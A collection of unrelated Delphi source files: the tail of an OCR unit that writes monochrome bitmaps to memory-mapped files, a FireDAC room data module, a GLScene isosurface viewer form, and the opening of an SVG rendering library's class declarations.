biWidth := BI.Width;
biHeight := BI.Height;
//biDPIX := 13780; //BI.DPIX;
//biYPelsPerMeter := 13780; //BI.YPelsPerMeter;
biXPelsPerMeter := 11811;
biYPelsPerMeter := 11811;
biPlanes := 1;
biBitCount := 1;
biCompression := BI_RGB;
biClrUsed := 2;
biClrImportant := 0;
LineSize := Round((BI.Width + 31) div 32) * 4;
biSizeImage := LineSize * BI.Height;
//biSizeImage := biWidth * biHeight * 4;
End ;
with Colors[0] do
begin
rgbRed := 0;
rgbGreen := 0;
rgbBlue := 0;
rgbReserved := 0;
end;
with Colors[1] do
begin
rgbRed := 255;
rgbGreen := 255;
rgbBlue := 255;
rgbReserved := 0;
end;
BI.Monochrome := true;
//ert := BI.PixelFormat;
//NumBytes := SizeOf(bmi.bmiHeader);
//NumBytes := NumBytes + SizeOf(bmi.bmiColors[0]) * 2;
//NumBytes := NumBytes + bmi.bmiHeader.biSizeImage;
NumBytes := SizeOf(bmi.bmiHeader);
Inc( NumBytes, ( SizeOf(bmi.bmiColors[0]) * 2 ) );
Inc( NumBytes, ( bmi.bmiHeader.biSizeImage ) );
hFile := CreateFileMappingA( $FFFFFFFF , nil, PAGE_READWRITE, 0, NumBytes, nil);
if(hFile <> 0) then
begin
lpMap := MapViewOfFile(hFile, FILE_MAP_WRITE, 0, 0, 0);
if(lpMap <> nil) then
begin
lp := lpMap;
CopyMemory (lp, @bmi.bmiHeader, SizeOf(bmi.bmiHeader));
lp := @parraybyte(lp)[SizeOf(bmi.bmiHeader)];
CopyMemory (lp, @bmi.bmiColors[0], SizeOf(bmi.bmiColors[0]) * 2);
lp := @parraybyte(lp)[SizeOf(bmi.bmiColors[0])*2 ];
hDCMem := CreateCompatibleDC(0);
if(hDCMem <> 0 ) then
begin
hbmpOld := SelectObject(hDCMem, BI.Handle);
if(hbmpOld <> 0) then begin
copybit:= TBitmapInfo(lpMap^);
GetDIBResult := GetDIBits( hDCMem, BI.Handle, 0, BI.Height, lp,
copybit, DIB_RGB_COLORS);
IF( GetDIBResult <> 0 ) Then
result:=true
else
raise Exception.Create( SysErrorMessage(GetLastError) );
result:=true;
BI.Handle := SelectObject(hDCMem, hbmpOld);
end;
DeleteDC(hDCMem);
end;
UnmapViewOfFile(lpMap)
end;
end
else
begin
If not result Then
begin
CloseHandle(hFile);
hFile := 0
end;
end;
end;
function TI2XOCR_TOCR.SaveMonoBitmapToMMFile(const DWImage : TDWImage;
var MMFileHandle : Cardinal ) : boolean;
var
BI : BMPINFO;
Begin
//DWImage.BitMap.Handle
BI.Width := DWImage.Width;
BI.Height := DWImage.Height;
BI.XPelsPerMeter := Round( DWImage.DPIX * 39.370079 );
if ( BI.XPelsPerMeter = 0 ) then
BI.XPelsPerMeter := Round(X_DPI_DEFAULT * 100 / 2.54 + 0.5);
BI.YPelsPerMeter := Round( DWImage.DPIY * 39.370079 );
if ( BI.YPelsPerMeter = 0 ) then
BI.YPelsPerMeter := Round(Y_DPI_DEFAULT * 100 / 2.54 + 0.5);
BI.hBmp := DWImage.ReleaseHandle;
Result := SaveMonoBitmapToMMFile(BI, MMFileHandle);
End;
function TI2XOCR_TOCR.SaveMonoBitmapToMMFile(const DWImage : TDWImage;
SliceRect : TRect; var MMFileHandle : Cardinal ) : boolean;
var
BI : BMPINFO;
Begin
//DWImage.BitMap.Handle
{*
BI.Width := DWImage.Width;
BI.Height := DWImage.Height;
BI.XPelsPerMeter := Round( DWImage.DPIX * 39.370079 );
if ( BI.XPelsPerMeter = 0 ) then
BI.XPelsPerMeter := Round(X_DPI_DEFAULT * 100 / 2.54 + 0.5);
BI.YPelsPerMeter := Round( DWImage.DPIY * 39.370079 );
if ( BI.YPelsPerMeter = 0 ) then
BI.YPelsPerMeter := Round(Y_DPI_DEFAULT * 100 / 2.54 + 0.5);
BI.hBmp := DWImage.ReleaseHandle;
*}
Result := GetSelectionAreaBitmap( DWImage, SliceRect, BI );
Result := SaveMonoBitmapToMMFile( BI, MMFileHandle );
End;
{---------------------------------------------------------------------------
Save a bitmap held in memory to a file to memory (only) mapped file.
The handle to the MM file is returned in hFile. }
function TI2XOCR_TOCR.SaveMonoBitmapToMMFile(BI : BMPINFO;
var MMFileHandle : Cardinal ) : boolean;
Const
PAGE_READWRITE = 4;
FILE_MAP_WRITE = 2;
Var
tbmp : TBitmap;
bmi : TMonoBitmapInfo;
ScanWidth : Cardinal;// ' scanline width in bytes
NumBytes : Cardinal;// ' number of bytes required to hold the DIB
lpMap : Cardinal;// ' pointer to mapped file
pMap : Pointer;
lp : Cardinal;// ' pointer
hDCMem : Cardinal;// ' handle to a memory device context
hbmpOld : Cardinal;// ' handle to a bitmap
hFile : Cardinal;
Begin
try
Result := False;
hFile := 0;
// Initialise the header
With bmi.bmiHeader do begin
biSize := SizeOf(bmi.bmiHeader);
biWidth := BI.Width;
biHeight := BI.Height;
biXPelsPerMeter := BI.XPelsPerMeter;
biYPelsPerMeter := BI.YPelsPerMeter;
biPlanes := 1;
biBitCount := 1;
biCompression := BI_RGB;
biClrUsed := 2;
biClrImportant := 0;
ScanWidth := Round((BI.Width + 31) / 32) * 4;
biSizeImage := ScanWidth * BI.Height;
end;
With bmi.bmiColors[0] do begin
rgbRed := 0;
rgbGreen := 0;
rgbBlue := 0;
rgbReserved := 0;
end;
With bmi.bmiColors[1] do begin
rgbRed := 255;
rgbGreen := 255;
rgbBlue := 255;
rgbReserved := 0;
end;
// Calculate the size of the memory mapped file memory
NumBytes := SizeOf(bmi.bmiHeader) +
SizeOf(bmi.bmiColors[0]) * 2 + bmi.bmiHeader.biSizeImage;
//Create a memory only file
hFile := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, NumBytes, nil);
if ( hFile <> 0 ) Then begin
lpMap := Integer(MapViewOfFile(hFile, FILE_MAP_WRITE, 0, 0, 0));
if ( lpMap <> 0 ) Then begin
// Copy the bitmap header to the MM file
lp := lpMap;
CopyMemory( Pointer(lp), @bmi.bmiHeader, SizeOf(bmi.bmiHeader));
lp := lp + SizeOf(bmi.bmiHeader);
CopyMemory( Pointer(lp), @bmi.bmiColors[0], SizeOf(bmi.bmiColors[0]) * 2 );
lp := lp + SizeOf(bmi.bmiColors[0]) * 2;
//Retrieve the bitmap bits and copy to the MM file
hDCMem := CreateCompatibleDC(0);
If (hDCMem <> 0 ) Then begin
hbmpOld := SelectObject(hDCMem, BI.hBmp);
If ( hbmpOld <> 0 ) Then begin
pMap := Pointer(lpMap);
If (GetDIBits(hDCMem, BI.hBmp, 0, BI.Height, Pointer(lp),
PBitmapInfo(lpMap)^, DIB_RGB_COLORS) > 0 ) Then begin
Result := True;
end;
BI.hBmp := SelectObject(hDCMem, hbmpOld);
end; // hbmpOld
DeleteDC( hDCMem );
end; // hDCMem
UnmapViewOfFile( Pointer( lpMap ));
end; // lpMap
end; // hFile
If (Not Result) Then begin
If ( hFile <> 0 ) Then begin
CloseHandle( hFile );
hFile := 0;
end;
end;
MMFileHandle := hfile;
finally
DeleteObject( BI.hBmp );
end;
End; // SaveMonoBitmapToMMFile
END.
|
unit uRoomDM;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, uAbstractDataModule, FMTBcd, DBClient, Provider, DB, uMainDM,
FireDAC.Stan.Intf, FireDAC.Stan.Option, FireDAC.Stan.Param,
FireDAC.Stan.Error, FireDAC.DatS, FireDAC.Phys.Intf, FireDAC.DApt.Intf,
FireDAC.Stan.Async, FireDAC.DApt, FireDAC.Comp.DataSet, FireDAC.Comp.Client;
type
TRoomDM = class(TAbstractDataModule)
sqlControlCAPACITY: TIntegerField;
sqlControlLOCATION: TStringField;
sqlControlNAME: TStringField;
sqlControlROOM_ID: TIntegerField;
cdsControlCAPACITY: TIntegerField;
cdsControlLOCATION: TStringField;
cdsControlNAME: TStringField;
cdsControlROOM_ID: TIntegerField;
procedure cdsControlBeforePost(DataSet: TDataSet);
private
{ Private declarations }
public
{ Public declarations }
end;
implementation
uses
uRoomControl;
{$R *.dfm}
procedure TRoomDM.cdsControlBeforePost(DataSet: TDataSet);
begin
inherited;
CheckRequiredFields(DataSet);
if TRoomControl.GetInstance.FindRoomName(DataSet.FieldByName('ROOM_ID')
.AsInteger, DataSet.FieldByName('NAME').AsString) then
raise Exception.Create('Duplicated room name!');
if DataSet.State = dsInsert then
DataSet.FieldByName('ROOM_ID').AsInteger := GenerateID('GEN_ROOM_ID');
end;
end.
|
unit FMain;
interface
uses
Winapi.OpenGL,
Winapi.Windows,
Winapi.Messages,
System.Math,
System.SysUtils,
System.UITypes,
System.Variants,
System.Classes,
Vcl.Graphics,
Vcl.Controls,
Vcl.Forms,
Vcl.Dialogs,
Vcl.StdCtrls,
Vcl.ExtCtrls,
Vcl.Menus,
// GLS
GLScene,
GLWin32Viewer,
GLObjects,
GLVectorFileObjects,
GLVectorGeometry,
GLCoordinates,
GLCrossPlatform,
GLBaseClasses,
GLIsosurface,
GLSpline;
type
TFrmMain = class(TForm)
GLSceneViewer: TGLSceneViewer;
GLScene: TGLScene;
OpenDialog: TOpenDialog;
glcMainCamera: TGLCamera;
DCDummyCube: TGLDummyCube;
PUSerInterface: TPanel;
Label1: TLabel;
Label2: TLabel;
lblVertices: TLabel;
lblTriangles: TLabel;
LEXDim: TLabeledEdit;
LEYDim: TLabeledEdit;
LEZDim: TLabeledEdit;
LEIsoVal: TLabeledEdit;
RGAlgorithm: TRadioGroup;
ffFreeForm: TGLFreeForm;
MainMenu: TMainMenu;
File1: TMenuItem;
miFileOpen: TMenuItem;
miFileExit: TMenuItem;
N3: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure FormMouseWheel(Sender: TObject; Shift: TShiftState;
WheelDelta: Integer; MousePos: TPoint; var Handled: Boolean);
procedure GLSceneViewerMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure GLSceneViewerMouseMove(Sender: TObject; Shift: TShiftState;
X, Y: Integer);
procedure miFileOpenClick(Sender: TObject);
procedure miFileExitClick(Sender: TObject);
procedure RGAlgorithmClick(Sender: TObject);
private
{ Private-Deklarationen }
ExtractedVertices: TVertexArray; // array of TVertex
ExtractedTriangles: TIntegerArray; // array of Integer
Dimensions: array ['x' .. 'z'] of word;
SingleData: TSingle3DArray; // array of array of array of Single
mdx, mdy: Integer;
// Load Data from file
function LoadCharData(AFileName: String; out ADataout: TSingle3DArray;
var Dims: array of word): Integer;
public
{ Public-Deklarationen }
end;
var
FrmMain: TFrmMain;
implementation
{$R *.dfm}
procedure TFrmMain.FormCreate(Sender: TObject);
begin
SingleData := nil;
end;
function TFrmMain.LoadCharData(AFileName: String; out ADataout: TSingle3DArray;
var Dims: array of word): Integer;
var
DataFile: File of Byte;
i, j, k: Integer;
DataPoint: Byte;
Counter: Integer;
begin
AssignFile(DataFile, AFileName);
Reset(DataFile);
SetLength(ADataout, Dims[0], Dims[1], Dims[2]);
i := 0;
j := 0;
k := 0;
Counter := 0;
try
repeat
Read(DataFile, DataPoint);
ADataout[i, j, k] := DataPoint;
inc(i);
if (i = Dims[0]) then
begin
i := 0;
inc(j);
end;
if (j = Dims[1]) then
begin
j := 0;
inc(k);
end;
inc(Counter);
until Eof(DataFile);
finally
Closefile(DataFile);
end;
Result := Counter;
end;
procedure TFrmMain.miFileOpenClick(Sender: TObject);
var
DataAmount: cardinal;
begin
Dimensions['x'] := StrToInt(LEXDim.Text);
Dimensions['y'] := StrToInt(LEYDim.Text);
Dimensions['z'] := StrToInt(LEZDim.Text);
OpenDialog.InitialDir := ExtractFilePath(Application.exename);
OpenDialog.Filter := 'Volumes|*.vol';
if OpenDialog.Execute() then
begin
DataAmount := LoadCharData(OpenDialog.FileName, SingleData, Dimensions);
MessageDlg(format('%d read. %dx%dx%d', [DataAmount, Dimensions['x'],
Dimensions['y'], Dimensions['z']]), mtInformation, [mbOK], -1);
LEXDim.Text := Format('%d', [Dimensions['x']]);
LEYDim.Text := Format('%d', [Dimensions['y']]);
LEZDim.Text := Format('%d', [Dimensions['z']]);
end;
RGAlgorithmClick(Self);
end;
procedure TFrmMain.RGAlgorithmClick(Sender: TObject);
var
IsoSurfaceEx: TIsoSurfaceExtractor;
i: Integer;
mo: TMeshObject;
begin
// Create IsoSurfaceExtractor
IsoSurfaceEx := TIsoSurfaceExtractor.Create(Dimensions['x'], Dimensions['y'],
Dimensions['z'], SingleData);
// Launch Calculation
case RGAlgorithm.ItemIndex of
0:
IsoSurfaceEx.MarchingTetrahedra(StrToFloat(LEIsoVal.Text), ExtractedVertices,
ExtractedTriangles, False);
1:
IsoSurfaceEx.MarchingCubes(StrToFloat(LEIsoVal.Text), ExtractedVertices,
ExtractedTriangles, False);
end;
lblVertices.Caption := Format('%d', [Length(ExtractedVertices)]);
lblTriangles.Caption := Format('%d', [Length(ExtractedTriangles) div 3]);
IsoSurfaceEx.Free();
ffFreeForm.MeshObjects.Clear();
mo := TMeshObject.CreateOwned(ffFreeForm.MeshObjects);
for i := 0 to Length(ExtractedTriangles) - 1 do
mo.Vertices.Add(AffineVectorMake(ExtractedVertices[ExtractedTriangles[i]].X
- Dimensions['x'] / 2, ExtractedVertices[ExtractedTriangles[i]].Y -
Dimensions['y'] / 2, ExtractedVertices[ExtractedTriangles[i]].Z -
Dimensions['z'] / 2));
ffFreeForm.StructureChanged;
GLSceneViewer.Invalidate();
end;
procedure TFrmMain.miFileExitClick(Sender: TObject);
begin
SetLength(SingleData, 0, 0, 0);
Application.Terminate();
end;
procedure TFrmMain.FormMouseWheel(Sender: TObject; Shift: TShiftState;
WheelDelta: Integer; MousePos: TPoint; var Handled: Boolean);
begin
glcMainCamera.AdjustDistanceToTarget(Power(1.1, WheelDelta / 120));
end;
procedure TFrmMain.GLSceneViewerMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
mdx := X;
mdy := Y;
end;
procedure TFrmMain.GLSceneViewerMouseMove(Sender: TObject; Shift: TShiftState;
X, Y: Integer);
var
dx, dy: Integer;
v: TVector;
begin
// calculate delta since last move or last mousedown
dx := mdx - X;
dy := mdy - Y;
mdx := X;
mdy := Y;
if ssLeft in Shift then
begin
if ssShift in Shift then
begin
// right button with shift rotates the teapot
// (rotation happens around camera's axis)
glcMainCamera.RotateObject(DCDummyCube, dy, dx);
end
else
begin
// right button without shift changes camera angle
// (we're moving around the parent and target dummycube)
glcMainCamera.MoveAroundTarget(dy, dx)
end;
end
else if Shift = [ssRight] then
begin
// left button moves our target and parent dummycube
v := glcMainCamera.ScreenDeltaToVectorXY(dx, -dy,
0.12 * glcMainCamera.DistanceToTarget / glcMainCamera.FocalLength);
DCDummyCube.Position.Translate(v);
// notify camera that its position/target has been changed
glcMainCamera.TransformationChanged;
end;
end;
end.
|
{******************************************************************}
{ SVG Image }
{ }
{ home page : http://www.mwcs.de }
{ email : martin.walter@mwcs.de }
{ }
{ date : 05-06-2020 }
{ }
{ version : 0.69c }
{ }
{ Use of this file is permitted for commercial and non-commercial }
{ use, as long as the author is credited. }
{ This file (c) 2005, 2008 Martin Walter }
{ }
{ Thanks to: }
{ Bart Vandromme (parsing errors) }
{ Chris Ueberall (parsing errors) }
{ Elias Zurschmiede (font error) }
{ Christopher Cerny (Dash Pattern) }
{ Carlo Barazzetta (fixed transform) }
{ Carlo Barazzetta (fixed style display none) }
{ Carlo Barazzetta (added fixedcolor and grayscale) }
{ Kiriakos Vlahos (fixed CalculateMatrices) }
{ Kiriakos Vlahos (added FillMode property) }
{ Kiriakos Vlahos (fixed SetBounds based on ViewBox) }
{ Kiriakos Vlahos (added 'fill-rule' presentation attribute) }
{ Kiriakos Vlahos (fixed loadlength) }
{ Kiriakos Vlahos (Fixed currentColor and default fillcolor) }
{ Kiriakos Vlahos (Replacement of MSXLML with XMLite) }
{ Kiriakos Vlahos (Refactoring parsing) }
{ Kiriakos Vlahos (Refactoring parsing Font) }
{ Kiriakos Vlahos (Increase performances using Dictionary) }
{ }
{ This Software is distributed on an "AS IS" basis, WITHOUT }
{ WARRANTY OF ANY KIND, either express or implied. }
{ }
{ *****************************************************************}
unit SVG;
{.$DEFINE USE_TEXT} // Define to use "real" text instead of paths
interface
uses
Winapi.Windows,
Winapi.GDIPOBJ,
Winapi.GDIPAPI,
System.UITypes,
System.Classes,
System.Math,
System.Generics.Collections,
System.Types,
XMLLite,
GDIPOBJ2,
GDIPKerning,
GDIPPathText,
SVGTypes,
SVGStyle,
SVGColor;
resourcestring
SVG_ERROR_PARSING_SVG_TEXT = 'Error parsing SVG Text: %s';
SVG_ERROR_TAG_SVG = 'Error: Tag "svg" not found.';
type
TSVG = class;
TSVGObject = class;
TSVGObjectProc = reference to function(Obj: TSVGObject): Boolean;
TSVGObjectClass = class of TSVGObject;
TSVGObject = class abstract (TPersistent)
private
FItems: TList;
FVisible: TTriStateBoolean;
FDisplay: TTriStateBoolean;
FParent: TSVGObject;
FID: string;
FObjectName: string;
FClasses: TArray<string>;
function GetCount: Integer;
function GetDepth: Integer;
procedure SetItem(const Index: Integer; const Item: TSVGObject);
function GetItem(const Index: Integer): TSVGObject;
function GetDisplay: TTriStateBoolean;
function GetVisible: TTriStateBoolean;
function GetObjectStyle: TStyle;
protected
FStyle: TStyle;
procedure ReadChildren(const Reader: IXMLReader);
class function New(Parent: TSVGObject): TSVGObject;
procedure AssignTo(Dest: TPersistent); override;
function GetRoot: TSVG;
class var SVGElements: TDictionary<string, TSVGObjectClass>;
class var SVGAttributes: TDictionary<string, TSVGAttribute>;
class constructor Create;
class destructor Destroy;
public
constructor Create; overload; virtual;
constructor Create(Parent: TSVGObject); overload;
destructor Destroy; override;
procedure Clear; virtual;
function Clone(Parent: TSVGObject): TSVGObject;
function Add(Item: TSVGObject): Integer;
procedure Delete(Index: Integer);
function Remove(Item: TSVGObject): Integer;
function IndexOf(Item: TSVGObject): Integer;
function FindByID(const Name: string): TSVGObject; virtual;
procedure CalculateMatrices;
function ObjectBounds(IncludeStroke: Boolean = False;
ApplyTranform: Boolean = False): TRectF; virtual;
function Traverse(Proc: TSVGObjectProc): TSVGObject;
procedure PaintToGraphics(Graphics: TGPGraphics); virtual; abstract;
procedure PaintToPath(Path: TGPGraphicsPath); virtual; abstract;
function ReadInAttr(SVGAttr: TSVGAttribute; const AttrValue: string): Boolean; virtual;
procedure ReadIn(const Reader: IXMLReader); virtual;
property Items[const Index: Integer]: TSVGObject read GetItem write SetItem; default;
property Count: Integer read GetCount;
property Depth: Integer read GetDepth;
property Display: TTriStateBoolean read GetDisplay write FDisplay;
property Visible: TTriStateBoolean read GetVisible write FVisible;
property Parent: TSVGObject read FParent;
property ID: string read FID;
property ObjectName: string read FObjectName;
property ObjectStyle: TStyle read GetObjectStyle;
class function Features: TSVGElementFeatures; virtual;
end;
TSVGMatrix = class abstract (TSVGObject)
private
FLocalMatrix: TAffineMatrix;
FFullMatrix: TAffineMatrix;
procedure SetPureMatrix(const Value: TAffineMatrix);
function Transform(const P: TPointF): TPointF; overload;
protected
procedure CalcMatrix; virtual;
procedure AssignTo(Dest: TPersistent); override;
public
procedure Clear; override;
function ReadInAttr(SVGAttr: TSVGAttribute; const AttrValue: string): Boolean; override;
property FullMatrix: TAffineMatrix read FFullMatrix;
property LocalMatrix: TAffineMatrix read FLocalMatrix write SetPureMatrix;
end;
TSVGBasic = class abstract (TSVGMatrix)
private
FFillColor: TColor;
FStrokeColor: TColor;
FFillOpacity: TFloat;
FStrokeOpacity: TFloat;
FStrokeWidth: TFloat;
FStrokeLineJoin: string;
FStrokeLineCap: string;
FStrokeMiterLimit: TFloat;
FStrokeDashOffset: TFloat;
FStrokeDashArray: TSingleDynArray;
FArrayNone: Boolean;
FFontName: string;
FFontSize: TFloat;
FFontWeight: Integer;
FFontStyle: Integer;
FTextDecoration: TTextDecoration;
FPath: TGPGraphicsPath2;
FFillMode: TFillMode;
FX: TFloat;
FY: TFloat;
FWidth: TFloat;
FHeight: TFloat;
FStyleChanged: Boolean;
function IsFontAvailable: Boolean;
procedure SetStrokeDashArray(const S: string);
function GetFillColor: TColor;
function GetStrokeColor: TColor;
function GetFillOpacity: TFloat;
function GetStrokeOpacity: TFloat;
function GetStrokeWidth: TFloat;
function GetClipURI: string;
function GetStrokeLineCap: TLineCap;
function GetStrokeDashCap: TDashCap;
function GetStrokeLineJoin: TLineJoin;
function GetStrokeMiterLimit: TFloat;
function GetStrokeDashOffset: TFloat;
function GetStrokeDashArray: TSingleDynArray;
function GetFontName: string;
function GetFontWeight: Integer;
function GetFontSize: TFloat;
function GetFontStyle: Integer;
function GetTextDecoration: TTextDecoration;
procedure UpdateStyle;
procedure OnStyleChanged(Sender: TObject);
procedure SetClipPath(Graphics: TGPGraphics);
protected
FRX: TFloat;
FRY: TFloat;
FFillURI: string;
FStrokeURI: string;
FClipURI: string;
FLineWidth: TFloat;
FColorInterpolation: TFloat;
FColorRendering: TFloat;
procedure ParseLengthAttr(const AttrValue: string;
LengthType: TLengthType; var X: TFloat);
procedure AssignTo(Dest: TPersistent); override;
procedure ReadStyle(Style: TStyle); virtual;
procedure ProcessFontAttribute(SVGAttr: TSVGAttribute; const Value: string);
function GetGPPath: TGPGraphicsPath2;
procedure ConstructPath; virtual;
function GetFillBrush: TGPBrush;
function GetStrokeBrush: TGPBrush;
function GetStrokePen(const StrokeBrush: TGPBrush): TGPPen;
procedure BeforePaint(const Graphics: TGPGraphics; const Brush: TGPBrush;
const Pen: TGPPen); virtual;
procedure AfterPaint(const Graphics: TGPGraphics; const Brush: TGPBrush;
const Pen: TGPPen); virtual;
public
constructor Create; override;
procedure Clear; override;
procedure PaintToGraphics(Graphics: TGPGraphics); override;
procedure PaintToPath(Path: TGPGraphicsPath); override;
procedure ReadIn(const Reader: IXMLReader); override;
function ReadInAttr(SVGAttr: TSVGAttribute; const AttrValue: string): Boolean; override;
function ObjectBounds(IncludeStroke: Boolean = False;
ApplyTranform: Boolean = False): TRectF; override;
property Root: TSVG read GetRoot;
property FillColor: TColor read GetFillColor write FFillColor;
property FillMode: TFillMode read fFillMode write fFillMode;
property StrokeColor: TColor read GetStrokeColor write FStrokeColor;
property FillOpacity: TFloat read GetFillOpacity write FFillOpacity;
property StrokeOpacity: TFloat read GetStrokeOpacity write FStrokeOpacity;
property StrokeWidth: TFloat read GetStrokeWidth write FStrokeWidth;
property ClipURI: string read GetClipURI write FClipURI;
property StrokeURI: string read FStrokeURI write FStrokeURI;
property X: TFloat read FX write FX;
property Y: TFloat read FY write FY;
property Width: TFloat read FWidth write FWidth;
property Height: TFloat read FHeight write FHeight;
property RX: TFloat read FRX write FRX;
property RY: TFloat read FRY write FRY;
property GPPath: TGPGraphicsPath2 read GetGPPath;
property StrokeLineCap: TLineCap read GetStrokeLineCap;
property StrokeLineJoin: TLineJoin read GetStrokeLineJoin;
property StrokeMiterLimit: TFloat read GetStrokeMiterLimit write FStrokeMiterLimit;
property StrokeDashOffset: TFloat read GetStrokeDashOffset write FStrokeDashOffset;
property FontName: string read GetFontName write FFontName;
property FontSize: TFloat read GetFontSize write FFontSize;
property FontWeight: Integer read GetFontWeight write FFontWeight;
property FontStyle: Integer read GetFontStyle write FFontStyle;
property TextDecoration: TTextDecoration read GetTextDecoration write FTextDecoration;
end;
TSVG = class(TSVGBasic)
strict private
FRootBounds: TGPRectF;
FInitialMatrix: TAffineMatrix;
FSource: string;
FAngle: TFloat;
FAngleMatrix: TAffineMatrix;
FViewBox: TRectF;
FFileName: string;
FGrayscale: Boolean;
FFixedColor: TColor;
FIdDict: TDictionary<string, TSVGObject>;
procedure SetViewBox(const Value: TRectF);
procedure SetSVGOpacity(Opacity: TFloat);
procedure SetAngle(Angle: TFloat);
procedure Paint(const Graphics: TGPGraphics; Rects: PRectArray;
RectCount: Integer);
private
FStyles: TStyleList;
procedure SetFixedColor(const Value: TColor);
procedure ReloadFromText;
procedure SetGrayscale(const Value: boolean);
protected
procedure CalcMatrix; override;
procedure AssignTo(Dest: TPersistent); override;
procedure ReadStyles(const Reader: IXMLReader);
public
constructor Create; override;
destructor Destroy; override;
procedure Clear; override;
procedure ReadIn(const Reader: IXMLReader); override;
function ReadInAttr(SVGAttr: TSVGAttribute; const AttrValue: string): Boolean; override;
procedure DeReferenceUse;
function GetStyleValue(const Name, Key: string): string;
function FindByID(const Name: string): TSVGObject; override;
procedure LoadFromText(const Text: string);
procedure LoadFromFile(const FileName: string);
procedure LoadFromStream(Stream: TStream); overload;
procedure SaveToFile(const FileName: string);
procedure SaveToStream(Stream: TStream);
procedure SetBounds(const Bounds: TGPRectF);
procedure PaintTo(DC: HDC; Bounds: TGPRectF;
Rects: PRectArray; RectCount: Integer); overload;
procedure PaintTo(MetaFile: TGPMetaFile; Bounds: TGPRectF;
Rects: PRectArray; RectCount: Integer); overload;
procedure PaintTo(Graphics: TGPGraphics; Bounds: TGPRectF;
Rects: PRectArray; RectCount: Integer); overload;
procedure PaintTo(DC: HDC; aLeft, aTop, aWidth, aHeight : single); overload;
function RenderToIcon(Size: Integer): HICON;
function RenderToBitmap(Width, Height: Integer): HBITMAP;
property InitialMatrix: TAffineMatrix read FInitialMatrix write FInitialMatrix;
property SVGOpacity: TFloat write SetSVGOpacity;
property Source: string read FSource;
property Angle: TFloat read FAngle write SetAngle;
property ViewBox: TRectF read FViewBox write SetViewBox;
property Grayscale: boolean read FGrayscale write SetGrayscale;
property FixedColor: TColor read FFixedColor write SetFixedColor;
property IdDict : TDictionary<string, TSVGObject> read FIdDict;
class function Features: TSVGElementFeatures; override;
end;
TSVGContainer = class(TSVGBasic)
public
class function Features: TSVGElementFeatures; override;
end;
TSVGSwitch = class(TSVGContainer)
{
The <switch> SVG element evaluates any requiredFeatures, requiredExtensions
and systemLanguage attributes on its direct child elements in order, and
then renders the first child where these attributes evaluate to true.
None of these is implemented.
}
end;
TSVGDefs = class(TSVGBasic)
public
class function Features: TSVGElementFeatures; override;
end;
TSVGUse = class(TSVGBasic)
private
FReference: string;
protected
procedure AssignTo(Dest: TPersistent); override;
procedure Construct;
public
procedure Clear; override;
function ReadInAttr(SVGAttr: TSVGAttribute; const AttrValue: string): Boolean; override;
class function Features: TSVGElementFeatures; override;
end;
TSVGShape = class abstract(TSVGBasic)
class function Features: TSVGElementFeatures; override;
end;
TSVGRect = class(TSVGShape)
protected
procedure ConstructPath; override;
public
procedure ReadIn(const Reader: IXMLReader); override;
function ObjectBounds(IncludeStroke: Boolean = False;
ApplyTranform: Boolean = False): TRectF; override;
end;
TSVGLine = class(TSVGShape)
protected
procedure ConstructPath; override;
public
function ReadInAttr(SVGAttr: TSVGAttribute; const AttrValue: string): Boolean; override;
function ObjectBounds(IncludeStroke: Boolean = False;
ApplyTranform: Boolean = False): TRectF; override;
end;
TSVGPolyLine = class(TSVGShape)
private
FPoints: TListOfPoints;
FPointCount: Integer;
procedure ConstructPoints(const S: string);
protected
procedure AssignTo(Dest: TPersistent); override;
procedure ConstructPath; override;
public
constructor Create; override;
procedure Clear; override;
function ReadInAttr(SVGAttr: TSVGAttribute; const AttrValue: string): Boolean; override;
function ObjectBounds(IncludeStroke: Boolean = False;
ApplyTranform: Boolean = False): TRectF; override;
end;
TSVGPolygon = class(TSVGPolyLine)
protected
procedure ConstructPath; override;
public
end;
TSVGEllipse = class(TSVGShape)
protected
FCX: TFloat;
FCY: TFloat;
procedure ConstructPath; override;
procedure AssignTo(Dest: TPersistent); override;
public
procedure Clear; override;
function ReadInAttr(SVGAttr: TSVGAttribute; const AttrValue: string): Boolean; override;
function ObjectBounds(IncludeStroke: Boolean = False;
ApplyTranform: Boolean = False): TRectF; override;
property CX: TFloat read FCX write FCX;
property CY: TFloat read FCY write FCY;
end;
TSVGPath = class(TSVGShape)
private
function SeparateValues(const ACommand: Char; const S: string; CommandList:
TList<Char>; ValueList: TList<TFloat>): Boolean;
procedure Split(const S: string; CommandList: TList<Char>; ValueList: TList<TFloat>);
protected
procedure ConstructPath; override;
public
function ReadInAttr(SVGAttr: TSVGAttribute; const AttrValue: string): Boolean; override;
function ObjectBounds(IncludeStroke: Boolean = False;
ApplyTranform: Boolean = False): TRectF; override;
end;
TSVGImage = class(TSVGBasic)
private
FImageURI: string;
FFileName: string;
FImage: TGPImage;
FStream: TMemoryStream;
protected
procedure AssignTo(Dest: TPersistent); override;
public
constructor Create; override;
procedure Clear; override;
procedure PaintToGraphics(Graphics: TGPGraphics); override;
procedure ReadIn(const Reader: IXMLReader); override;
function ReadInAttr(SVGAttr: TSVGAttribute; const AttrValue: string): Boolean; override;
function ObjectBounds(IncludeStroke: Boolean = False;
ApplyTranform: Boolean = False): TRectF; override;
property Data: TMemoryStream read FStream;
class function Features: TSVGElementFeatures; override;
end;
TSVGCustomText = class abstract (TSVGBasic)
private
FText: string;
FUnderlinePath: TGPGraphicsPath;
FStrikeOutPath: TGPGraphicsPath;
FFontHeight: TFloat;
FDX: TFloat;
FDY: TFloat;
FHasX: Boolean;
FHasY: Boolean;
function GetCompleteWidth: TFloat;
procedure SetSize; virtual;
function GetFont: TGPFont;
function GetFontFamily(const FontName: string): TGPFontFamily;
function IsInTextPath: Boolean;
protected
procedure AssignTo(Dest: TPersistent); override;
procedure ConstructPath; override;
procedure ParseNode(const Reader: IXMLReader); virtual;
procedure BeforePaint(const Graphics: TGPGraphics; const Brush: TGPBrush;
const Pen: TGPPen); override;
procedure AfterPaint(const Graphics: TGPGraphics; const Brush: TGPBrush;
const Pen: TGPPen); override;
procedure ReadTextNodes(const Reader: IXMLReader); virtual;
public
constructor Create; override;
procedure Clear; override;
procedure ReadIn(const Reader: IXMLReader); override;
function ReadInAttr(SVGAttr: TSVGAttribute; const AttrValue: string): Boolean; override;
